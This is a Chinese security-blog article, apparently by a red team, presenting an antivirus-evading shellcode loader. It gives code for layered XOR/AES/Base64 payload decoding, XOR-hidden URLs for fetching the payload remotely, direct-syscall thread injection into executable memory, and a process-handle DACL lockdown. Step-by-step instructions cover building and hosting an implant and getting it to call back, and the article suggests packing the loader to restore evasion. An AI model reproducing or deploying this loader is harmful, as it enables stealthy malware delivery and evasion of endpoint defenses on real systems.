freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Sangfor华东天勇战队:内存规避Shellcodeloader
2023-06-20 16:28:41
所属地 上海

SysHttpHookSleep

https://github.com/wangfly-me/SysHttpHookSleep

代码来源

集合多种方式的ShellcodeLoader,主要代码来自:

https://github.com/mgeeky/ShellcodeFluctuation

https://github.com/TheD1rkMtr/BlockOpenHandle

主要功能

Shellcode:异或xor加密+Base64编码+AES加密+Base64编码+字符串反转。
加载方式:URL加密+远程加载+Syswhispers上线。
内存规避:HOOK Sleep函数+内存xor加密+System权限打开句柄。
反虚拟机:注册表+文件+进程+内存。

原理浅析

Shellcode加密,采取异或xor加密+Base64编码+AES加密+Base64编码+字符串反转

异或xor加密

可改进,动态key生成

const char* xx = rest2_decoded.c_str();

std::vector<uint8_t> sc;

for (int j = 0; j < rest2_decoded.length(); j++)
{
	sc.push_back(xx[j] ^ XK2 ^ XK1);
}

字符反转

reverse(rest2_reference.begin(), rest2_reference.end());

AES和Base64,都有写好的,下载下来,直接用即可。
https://github.com/kkAyataka/plusaes

URL加密

主要是避免静态特征,加密解密程序如下:

int key[] = { 1,2,3,4,5,6,7 };

void encryption(string& c, int key[]) {
	int len = c.size();
	for (int i = 0; i < len; i++) {
		c[i] = c[i] ^ key[i % 7];
	}
}
void decode(string& c, int key[]) {
	int len = c.size();
	for (int i = 0; i < len; i++) {
		c[i] = c[i] ^ key[i % 7];
	}
}

远程线程注入

Syswhispers生成远程线程注入函数,代码如下(可改进,Unhook每个敏感函数,去掉EDR钩子):

bool iS(std::vector<uint8_t>& shellcode, HandlePtr& thread)
{
    HANDLE hHostThread = INVALID_HANDLE_VALUE;
    auto alloc = VirtualAlloc(NULL, shellcode.size() + 1, MEM_COMMIT, PAGE_READWRITE);

    memcpy(alloc, shellcode.data(), shellcode.size());
    DWORD old;
    VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old);
    shellcode.clear();
    SIZE_T sDataSize = shellcode.size();
    NtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)alloc, NULL, FALSE, NULL, NULL, NULL, NULL);
    NtWaitForMultipleObjects(1, &hHostThread, WaitAll, FALSE, NULL);
    NtFreeVirtualMemory((HANDLE)-1, &alloc, &sDataSize, MEM_RELEASE);
    return 0;
}

内存规避

https://www.freebuf.com/articles/system/361161.html

System权限打开句柄

void Set() 
{
    LPCWSTR sddl = L"D:P"
        L"(D;OICI;GA;;;WD)"
        L"(A;OICI;GA;;;SY)"
        L"(A;OICI;GA;;;OW)";

    PSECURITY_DESCRIPTOR securityDescriptor = nullptr;

    if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(sddl, SDDL_REVISION_1, &securityDescriptor, nullptr)) 
    {
        return;
    }

    if (!SetKernelObjectSecurity(GetCurrentProcess(), DACL_SECURITY_INFORMATION, securityDescriptor)) 
    {
        return;
    }

    LocalFree(securityDescriptor);
}

操作步骤

加密编码工具在release中下载。

先生成stagerless的raw木马,按顺序分别使用enc.py、AES_Shellcode.exe、rev.py生成b.txt文件,并将其部署在服务器端。
image.png

其次将URL使用URL_XOR.exe进行加密,并分成两段填入str1和str2参数中。
image.png

最后生成exe,运行上线。
image.png

免杀效果

由于在项目中已经投入使用一段时间,可能有些已经不免杀,可以尝试VMP加壳,或者修改代码二次开发,来规避杀软。
image.png

# 网络安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录